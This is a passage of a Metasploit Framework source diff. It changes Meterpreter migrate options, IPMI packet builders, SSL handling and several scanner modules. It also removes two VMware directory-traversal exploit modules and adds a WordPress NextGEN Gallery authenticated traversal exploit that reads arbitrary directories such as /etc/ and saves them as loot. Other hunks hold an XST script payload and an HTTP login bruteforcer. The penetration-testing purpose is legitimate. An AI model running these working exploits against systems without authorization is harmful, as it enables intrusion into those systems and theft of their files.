'-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'],
|
||||
'-h' => [false, 'Help menu.']
|
||||
)
|
||||
|
||||
def cmd_migrate_help
|
||||
if client.platform =~ /linux/
|
||||
print_line "Usage: migrate <pid> [writable_path]"
|
||||
print_line('Usage: migrate <pid> [-p writable_path] [-t timeout]')
|
||||
else
|
||||
print_line "Usage: migrate <pid>"
|
||||
print_line('Usage: migrate <pid> [-t timeout]')
|
||||
end
|
||||
print_line
|
||||
print_line "Migrates the server instance to another process."
|
||||
print_line "NOTE: Any open channels or other dynamic state will be lost."
|
||||
print_line('Migrates the server instance to another process.')
|
||||
print_line('NOTE: Any open channels or other dynamic state will be lost.')
|
||||
print_line
|
||||
end
|
||||
|
||||
|
@ -800,19 +841,29 @@ class Console::CommandDispatcher::Core
|
|||
# platforms a path for the unix domain socket used for IPC.
|
||||
# @return [void]
|
||||
def cmd_migrate(*args)
|
||||
if ( args.length == 0 or args.include?("-h") )
|
||||
if args.length == 0 || args.include?('-h')
|
||||
cmd_migrate_help
|
||||
return true
|
||||
end
|
||||
|
||||
pid = args[0].to_i
|
||||
if(pid == 0)
|
||||
print_error("A process ID must be specified, not a process name")
|
||||
if pid == 0
|
||||
print_error('A process ID must be specified, not a process name')
|
||||
return
|
||||
end
|
||||
|
||||
if client.platform =~ /linux/
|
||||
writable_dir = (args.length >= 2) ? args[1] : nil
|
||||
writable_dir = nil
|
||||
opts = {
|
||||
timeout: nil
|
||||
}
|
||||
|
||||
@@transport_opts.parse(args) do |opt, idx, val|
|
||||
case opt
|
||||
when '-t'
|
||||
opts[:timeout] = val.to_i
|
||||
when '-p'
|
||||
writable_dir = val
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
|
@ -834,7 +885,7 @@ class Console::CommandDispatcher::Core
|
|||
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
|
||||
next unless opts['MeterpreterRelay']
|
||||
if existing_relays.empty?
|
||||
print_status("Removing existing TCP relays...")
|
||||
print_status('Removing existing TCP relays...')
|
||||
end
|
||||
if (service.stop_tcp_relay(lport, lhost))
|
||||
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
|
@ -855,19 +906,15 @@ class Console::CommandDispatcher::Core
|
|||
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
|
||||
|
||||
# Do this thang.
|
||||
if client.platform =~ /linux/
|
||||
client.core.migrate(pid, writable_dir)
|
||||
else
|
||||
client.core.migrate(pid)
|
||||
end
|
||||
client.core.migrate(pid, writable_dir, opts)
|
||||
|
||||
print_status("Migration completed successfully.")
|
||||
print_status('Migration completed successfully.')
|
||||
|
||||
# Update session info (we may have a new username)
|
||||
client.update_session_info
|
||||
|
||||
unless existing_relays.empty?
|
||||
print_status("Recreating TCP relay(s)...")
|
||||
print_status('Recreating TCP relay(s)...')
|
||||
existing_relays.each do |r|
|
||||
client.pfservice.start_tcp_relay(r[:lport], r[:opts])
|
||||
print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}")
|
||||
|
|
|
@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
# Lists running processes.
|
||||
#
|
||||
def cmd_ps(*args)
|
||||
if args.include?('-h')
|
||||
cmd_ps_help
|
||||
return true
|
||||
end
|
||||
|
||||
# Init vars
|
||||
processes = client.sys.process.get_processes
|
||||
search_term = nil
|
||||
|
@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys
|
|||
print_error("Enter a search term")
|
||||
return true
|
||||
end
|
||||
when '-h'
|
||||
cmd_ps_help
|
||||
return true
|
||||
when "-A"
|
||||
print_line "Filtering on arch..."
|
||||
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
|
||||
|
|
|
@ -15,8 +15,8 @@ class Utils
|
|||
def self.create_ipmi_getchannel_probe
|
||||
[ # Get Channel Authentication Capabilities
|
||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18,
|
||||
0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5
|
||||
].pack("C*")
|
||||
end
|
||||
|
@ -36,20 +36,20 @@ class Utils
|
|||
0x00, 0x00,
|
||||
# Reserved
|
||||
0x00, 0x00
|
||||
].pack("C*") +
|
||||
].pack("C*") +
|
||||
console_session_id +
|
||||
[
|
||||
0x00, 0x00, 0x00, 0x08,
|
||||
0x00, 0x00, 0x00, 0x08,
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x00, 0x08,
|
||||
0x01, 0x00, 0x00, 0x08,
|
||||
# HMAC-SHA1
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x08,
|
||||
0x01, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x08,
|
||||
# AES Encryption
|
||||
0x01, 0x00, 0x00, 0x00
|
||||
].pack("C*")
|
||||
|
||||
head + [data.length].pack('v') + data
|
||||
head + [data.length].pack('v') + data
|
||||
end
|
||||
|
||||
|
||||
|
@ -68,39 +68,43 @@ class Utils
|
|||
0x00, 0x00,
|
||||
# Reserved
|
||||
0x00, 0x00
|
||||
].pack("C*") +
|
||||
].pack("C*") +
|
||||
console_session_id +
|
||||
[
|
||||
0x00, 0x00, 0x00, 0x08,
|
||||
0x00, 0x00, 0x00, 0x08,
|
||||
# Cipher 0
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x01, 0x00, 0x00, 0x08,
|
||||
# Cipher 0
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x02, 0x00, 0x00, 0x08,
|
||||
# No Encryption
|
||||
# No Encryption
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
].pack("C*")
|
||||
|
||||
head + [data.length].pack('v') + data
|
||||
head + [data.length].pack('v') + data
|
||||
end
|
||||
|
||||
def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username)
|
||||
[
|
||||
head = [
|
||||
0x06, 0x00, 0xff, 0x07, # RMCP Header
|
||||
0x06, # RMCP+ Authentication Type
|
||||
PAYLOAD_RAKP1, # Payload Type
|
||||
0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00
|
||||
].pack("C*") +
|
||||
bmc_session_id +
|
||||
console_random_id +
|
||||
[
|
||||
0x14, 0x00, 0x00,
|
||||
username.length
|
||||
].pack("C*") +
|
||||
username
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00,
|
||||
].pack("C*")
|
||||
|
||||
data =
|
||||
[0x00, 0x00, 0x00, 0x00].pack("C*") +
|
||||
bmc_session_id +
|
||||
console_random_id +
|
||||
[
|
||||
0x14, 0x00, 0x00,
|
||||
username.length
|
||||
].pack("C*") +
|
||||
username
|
||||
|
||||
head + [data.length].pack('v') + data
|
||||
end
|
||||
|
||||
|
||||
|
@ -109,7 +113,7 @@ class Utils
|
|||
bmc_sid +
|
||||
con_rid +
|
||||
bmc_rid +
|
||||
bmc_gid +
|
||||
bmc_gid +
|
||||
[ auth_level ].pack("C") +
|
||||
[ username.length ].pack("C") +
|
||||
username
|
||||
|
@ -122,4 +126,4 @@ class Utils
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -56,52 +56,38 @@ begin
|
|||
def initsock(params = nil)
|
||||
super
|
||||
|
||||
# The autonegotiation preference for SSL/TLS versions
|
||||
versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2]
|
||||
# Default to SSLv23 (automatically negotiate)
|
||||
version = :SSLv23
|
||||
|
||||
# Limit this to a specific SSL/TLS version if specified
|
||||
# Let the caller specify a particular SSL/TLS version
|
||||
if params
|
||||
case params.ssl_version
|
||||
when 'SSL2', :SSLv2
|
||||
versions = [:SSLv2]
|
||||
version = :SSLv2
|
||||
when 'SSL23', :SSLv23
|
||||
versions = [:SSLv23]
|
||||
version = :SSLv23
|
||||
when 'SSL3', :SSLv3
|
||||
versions = [:SSLv3]
|
||||
when 'TLS1', :TLSv1
|
||||
versions = [:TLSv1]
|
||||
else
|
||||
# Leave the version list as-is (Auto)
|
||||
version = :SSLv3
|
||||
when 'TLS1','TLS1.0', :TLSv1
|
||||
version = :TLSv1
|
||||
when 'TLS1.1', :TLSv1_1
|
||||
version = :TLSv1_1
|
||||
when 'TLS1.2', :TLSv1_2
|
||||
version = :TLSv1_2
|
||||
end
|
||||
end
|
||||
|
||||
# Limit our versions to those supported by the linked OpenSSL library
|
||||
versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v }
|
||||
|
||||
# Raise an error if no selected versions are supported
|
||||
if versions.length == 0
|
||||
if ! OpenSSL::SSL::SSLContext::METHODS.include? version
|
||||
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
|
||||
end
|
||||
|
||||
last_error = nil
|
||||
# Try intializing the socket with this SSL/TLS version
|
||||
# This will throw an exception if it fails
|
||||
initsock_with_ssl_version(params, version)
|
||||
|
||||
# Iterate through SSL/TLS versions until we successfully negotiate
|
||||
versions.each do |version|
|
||||
begin
|
||||
# Try intializing the socket with this SSL/TLS version
|
||||
# This will throw an exception if it fails
|
||||
initsock_with_ssl_version(params, version)
|
||||
|
||||
# Success! Record what method was used and return
|
||||
self.ssl_negotiated_version = version
|
||||
return
|
||||
rescue OpenSSL::SSL::SSLError => e
|
||||
last_error = e
|
||||
end
|
||||
end
|
||||
|
||||
# No SSL/TLS versions succeeded, raise the last error
|
||||
raise last_error
|
||||
# Track the SSL version
|
||||
self.ssl_negotiated_version = version
|
||||
end
|
||||
|
||||
def initsock_with_ssl_version(params, version)
|
||||
|
@ -137,9 +123,6 @@ begin
|
|||
# Tie the context to a socket
|
||||
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
|
||||
|
||||
# XXX - enabling this causes infinite recursion, so disable for now
|
||||
# self.sslsock.sync_close = true
|
||||
|
||||
# Force a negotiation timeout
|
||||
begin
|
||||
Timeout.timeout(params.timeout) do
|
||||
|
|
|
@ -1522,7 +1522,10 @@ module Text
|
|||
# @param data [#delete]
|
||||
# @param badchars [String] A list of characters considered to be bad
|
||||
def self.remove_badchars(data, badchars = '')
|
||||
data.delete(badchars)
|
||||
return data if badchars.length == 0
|
||||
badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join
|
||||
data.gsub!(/[#{badchars_pat}]/n, '')
|
||||
data
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -1531,7 +1534,8 @@ module Text
|
|||
# @param keepers [String]
|
||||
# @return [String] All characters not contained in +keepers+
|
||||
def self.charset_exclude(keepers)
|
||||
[*(0..255)].pack('C*').delete(keepers)
|
||||
excluded_bytes = [*(0..255)] - keepers.unpack("C*")
|
||||
excluded_bytes.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.10'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.12'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -43,8 +43,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("#{ip} No certificate subject or CN found")
|
||||
return
|
||||
end
|
||||
|
||||
issuer_pattern = Regexp.new(datastore['ISSUER'], [Regexp::EXTENDED, 'n'])
|
||||
sub = cert.subject.to_a
|
||||
|
||||
before = Time.parse("#{cert.not_before}")
|
||||
|
@ -61,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
if ( "#{cert.issuer}" !~ /#{issuer_pattern}/)
|
||||
if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n
|
||||
print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" )
|
||||
elsif datastore['SHOWALL']
|
||||
# show verbose as status
|
||||
|
|
|
@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if rport == 443 or ssl
|
||||
proto = "https"
|
||||
end
|
||||
"#{proto}://#{rhost}:#{rport}#{@uri.to_s}"
|
||||
"#{proto}://#{vhost}:#{rport}#{@uri.to_s}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
|
@ -127,15 +127,21 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_error("You need need to set AUTH_URI when using PUT Method !")
|
||||
return
|
||||
end
|
||||
|
||||
extra_info = ""
|
||||
if rhost != vhost
|
||||
extra_info = " (#{rhost})"
|
||||
end
|
||||
|
||||
@uri = find_auth_uri
|
||||
if ! @uri
|
||||
print_error("#{target_url} No URI found that asks for HTTP authentication")
|
||||
print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication")
|
||||
return
|
||||
end
|
||||
|
||||
@uri = "/#{@uri}" if @uri[0,1] != "/"
|
||||
|
||||
print_status("Attempting to login to #{target_url}")
|
||||
print_status("Attempting to login to #{target_url}#{extra_info}")
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
|
|
|
@ -15,9 +15,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'HTTP TRACE Detection',
|
||||
'Description' => 'Test if TRACE is actually enabled. 405 (Apache) 501(IIS) if its disabled, 200 if it is',
|
||||
'Author' => ['CG'],
|
||||
'Name' => 'HTTP Cross-Site Tracing Detection',
|
||||
'Description' => 'Checks if the host is vulnerable to Cross-Site Tracing (XST)',
|
||||
'Author' =>
|
||||
[
|
||||
'Jay Turla <@shipcod3>' , #Cross-Site Tracing (XST) Checker
|
||||
'CG' #HTTP TRACE Detection
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
@ -26,39 +30,27 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'version' => '1.0',
|
||||
'uri' => '/',
|
||||
'uri' => '/<script>alert(1337)</script>', #XST Payload
|
||||
'method' => 'TRACE',
|
||||
'headers' =>
|
||||
{
|
||||
'Cookie' => "did you echo me back?",
|
||||
},
|
||||
}, 10)
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_error("no repsonse for #{target_host}")
|
||||
elsif (res.code == 200)
|
||||
print_good("#{target_host}:#{rport}-->#{res.code}")
|
||||
print_good("Response Headers:\n #{res.headers}")
|
||||
print_good("Response Body:\n #{res.body}")
|
||||
print_good("TRACE appears to be enabled on #{target_host}:#{rport} \n")
|
||||
report_note(
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:type => 'service.http.method.trace',
|
||||
:data => "TRACE method is enabled for this service",
|
||||
:update => :unique_data
|
||||
)
|
||||
elsif (res.code == 501)#Not Implemented
|
||||
print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #IIS
|
||||
elsif (res.code == 405)#Method Not Allowed
|
||||
print_error("Received #{res.code} TRACE is not enabled for #{target_host}:#{rport}") #Apache
|
||||
else
|
||||
print_status("#{res.code}")
|
||||
unless res
|
||||
vprint_error("#{rhost}:#{rport} did not reply to our request")
|
||||
return
|
||||
end
|
||||
|
||||
if res.body.to_s.index('/<script>alert(1337)</script>')
|
||||
print_good("#{rhost}:#{rport} is vulnerable to Cross-Site Tracing")
|
||||
report_vuln(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:info => "Vulnerable to Cross-Site Tracing",
|
||||
)
|
||||
else
|
||||
vprint_error("#{rhost}:#{rport} returned #{res.code} #{res.message}")
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
|
|
|
@ -1,87 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
# Exploit mixins should be called first
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
# Scanner mixin should be near last
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav')
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMware Server Directory Traversal Vulnerability',
|
||||
'Description' => 'This modules exploits the VMware Server Directory Traversal
|
||||
vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before
|
||||
2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5
|
||||
allows remote attackers to read arbitrary files. Common VMware server ports
|
||||
80/8222 and 443/8333 SSL. If you want to download the entire VM, check out
|
||||
the gueststealer tool.',
|
||||
'Author' => 'CG' ,
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ],
|
||||
[ 'OSVDB', '59440' ],
|
||||
[ 'BID', '36842' ],
|
||||
[ 'CVE', '2009-3733' ],
|
||||
[ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ]
|
||||
]
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8222),
|
||||
OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']),
|
||||
OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
|
||||
begin
|
||||
file = datastore['FILE']
|
||||
trav = datastore['TRAV']
|
||||
res = send_request_raw({
|
||||
'uri' => trav+file,
|
||||
'version' => '1.1',
|
||||
'method' => 'GET'
|
||||
}, 25)
|
||||
|
||||
if res.nil?
|
||||
print_error("Connection timed out")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 200
|
||||
#print_status("Output Of Requested File:\n#{res.body}")
|
||||
print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability")
|
||||
report_vuln(
|
||||
{
|
||||
:host => target_host,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:name => self.name,
|
||||
:info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}",
|
||||
:refs => self.references,
|
||||
:exploited_at => Time.now.utc
|
||||
}
|
||||
)
|
||||
else
|
||||
vprint_status("Received #{res.code} for #{trav}#{file}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
|
||||
print_error(e.message)
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -1,75 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal')
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "VMWare Update Manager 4 Directory Traversal",
|
||||
'Description' => %q{
|
||||
This modules exploits a directory traversal vulnerability in VMWare Update Manager
|
||||
on port 9084. Versions affected by this vulnerability: vCenter Update Manager
|
||||
4.1 prior to Update 2, vCenter Update Manager 4 Update 4.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Alexey Sintsov', #Initial discovery, poc
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2011-4404'],
|
||||
['EDB', '18138'],
|
||||
['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'],
|
||||
['URL', 'http://dsecrg.com/pages/vul/show.php?id=342']
|
||||
],
|
||||
'DisclosureDate' => "Nov 21 2011"))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(9084),
|
||||
OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']),
|
||||
OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
fname = File.basename(datastore['FILE'])
|
||||
traversal = ".\\..\\..\\..\\..\\..\\..\\..\\"
|
||||
uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE']
|
||||
|
||||
print_status("#{rhost}:#{rport} - Requesting: #{uri}")
|
||||
|
||||
res = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
}, 25)
|
||||
|
||||
# If there's no response, don't bother
|
||||
if res.nil? or res.body.empty?
|
||||
print_error("No content retrieved from: #{ip}")
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
print_error("#{rhost}:#{rport} - File not found")
|
||||
return
|
||||
else
|
||||
print_good("File retrieved from: #{ip}")
|
||||
p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname)
|
||||
print_status("File stored in: #{p}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,152 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'json'
|
||||
require 'nokogiri'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::HTTP::Wordpress
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'WordPress NextGEN Gallery Directory Read Vulnerability',
|
||||
'Description' => %q{
|
||||
This module exploits an authenticated directory traversal vulnerability
|
||||
in WordPress Plugin "NextGEN Gallery" version 2.1.7, allowing
|
||||
to read arbitrary directories with the web server privileges.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['WPVDB', '8165'],
|
||||
['URL', 'http://permalink.gmane.org/gmane.comp.security.oss.general/17650']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Sathish Kumar', # Vulnerability Discovery
|
||||
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('WP_USER', [true, 'A valid username', nil]),
|
||||
OptString.new('WP_PASS', [true, 'Valid password for the provided username', nil]),
|
||||
OptString.new('DIRPATH', [true, 'The path to the directory to read', '/etc/']),
|
||||
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def user
|
||||
datastore['WP_USER']
|
||||
end
|
||||
|
||||
def password
|
||||
datastore['WP_PASS']
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('nextgen-gallery', '2.1.9')
|
||||
end
|
||||
|
||||
def get_nonce(cookie)
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(wordpress_url_backend, 'admin.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => {
|
||||
'page' => 'ngg_addgallery'
|
||||
},
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.redirect? && res.redirection
|
||||
location = res.redirection
|
||||
print_status("#{peer} - Following redirect to #{location}")
|
||||
res = send_request_cgi(
|
||||
'uri' => location,
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
)
|
||||
end
|
||||
|
||||
res.body.scan(/var browse_params = {"nextgen_upload_image_sec":"(.+)"};/).flatten.first
|
||||
end
|
||||
|
||||
def parse_paths(res)
|
||||
begin
|
||||
j = JSON.parse(res.body)
|
||||
rescue JSON::ParserError => e
|
||||
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
|
||||
return []
|
||||
end
|
||||
|
||||
html = j['html']
|
||||
noko = Nokogiri::HTML(html)
|
||||
links = noko.search('a')
|
||||
links.collect { |e| normalize_uri("#{datastore['DIRPATH']}/#{e.text}") }
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
vprint_status("#{peer} - Trying to login as: #{user}")
|
||||
cookie = wordpress_login(user, password)
|
||||
if cookie.nil?
|
||||
print_error("#{peer} - Unable to login as: #{user}")
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Trying to get nonce...")
|
||||
nonce = get_nonce(cookie)
|
||||
if nonce.nil?
|
||||
print_error("#{peer} - Can not get nonce after login")
|
||||
return
|
||||
end
|
||||
vprint_status("#{peer} - Got nonce: #{nonce}")
|
||||
|
||||
traversal = "../" * datastore['DEPTH']
|
||||
filename = datastore['DIRPATH']
|
||||
filename = filename[1, filename.length] if filename =~ /^\//
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'headers' => {
|
||||
'Referer' => "http://#{rhost}/wordpress/wp-admin/admin.php?page=ngg_addgallery",
|
||||
'X-Requested-With' => 'XMLHttpRequest'
|
||||
},
|
||||
'vars_get' => {
|
||||
'photocrati_ajax' => '1'
|
||||
},
|
||||
'vars_post' => {
|
||||
'nextgen_upload_image_sec' => "#{nonce}",
|
||||
'action' => 'browse_folder',
|
||||
'dir' => "#{traversal}#{filename}"
|
||||
},
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
|
||||
paths = parse_paths(res)
|
||||
vprint_line(paths * "\n")
|
||||
|
||||
fname = datastore['DIRPATH']
|
||||
path = store_loot(
|
||||
'nextgen.traversal',
|
||||
'text/plain',
|
||||
ip,
|
||||
paths * "\n",
|
||||
fname
|
||||
)
|
||||
|
||||
print_good("#{peer} - File saved in: #{path}")
|
||||
else
|
||||
print_error("#{peer} - Nothing was downloaded. You can try to change the DIRPATH.")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
include Msf::Auxiliary::LLMNR
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LLMNR Query',
|
||||
'Description' => %q(
|
||||
This module sends LLMNR queries, which are really just normal UDP DNS
|
||||
queries done (usually) over multicast on a different port, 5355.
|
||||
Targets other than the default RHOSTS' 224.0.0.252 should not respond
|
||||
but may anyway.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Jon Hart <jon_hart[at]rapid7.com>'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
print_status("Sending LLMNR #{query_type_name}/#{query_class_name} queries for #{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)")
|
||||
@results = {}
|
||||
end
|
||||
|
||||
def scanner_postscan(_batch)
|
||||
found = {}
|
||||
@results.each_pair do |peer, resps|
|
||||
resps.each do |resp|
|
||||
found[peer] ||= {}
|
||||
next if found[peer][resp]
|
||||
response_info = describe_response(resp)
|
||||
print_good("#{peer} responded with #{response_info}")
|
||||
report_service(host: peer, port: rport, proto: "udp", name: "llmnr", info: response_info)
|
||||
found[peer][resp] = true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,50 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::UDPScanner
|
||||
include Msf::Auxiliary::MDNS
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'mDNS Query',
|
||||
'Description' => %q(
|
||||
This module sends mDNS queries, which are really just normal UDP DNS
|
||||
queries done (usually) over multicast on a different port, 5353.
|
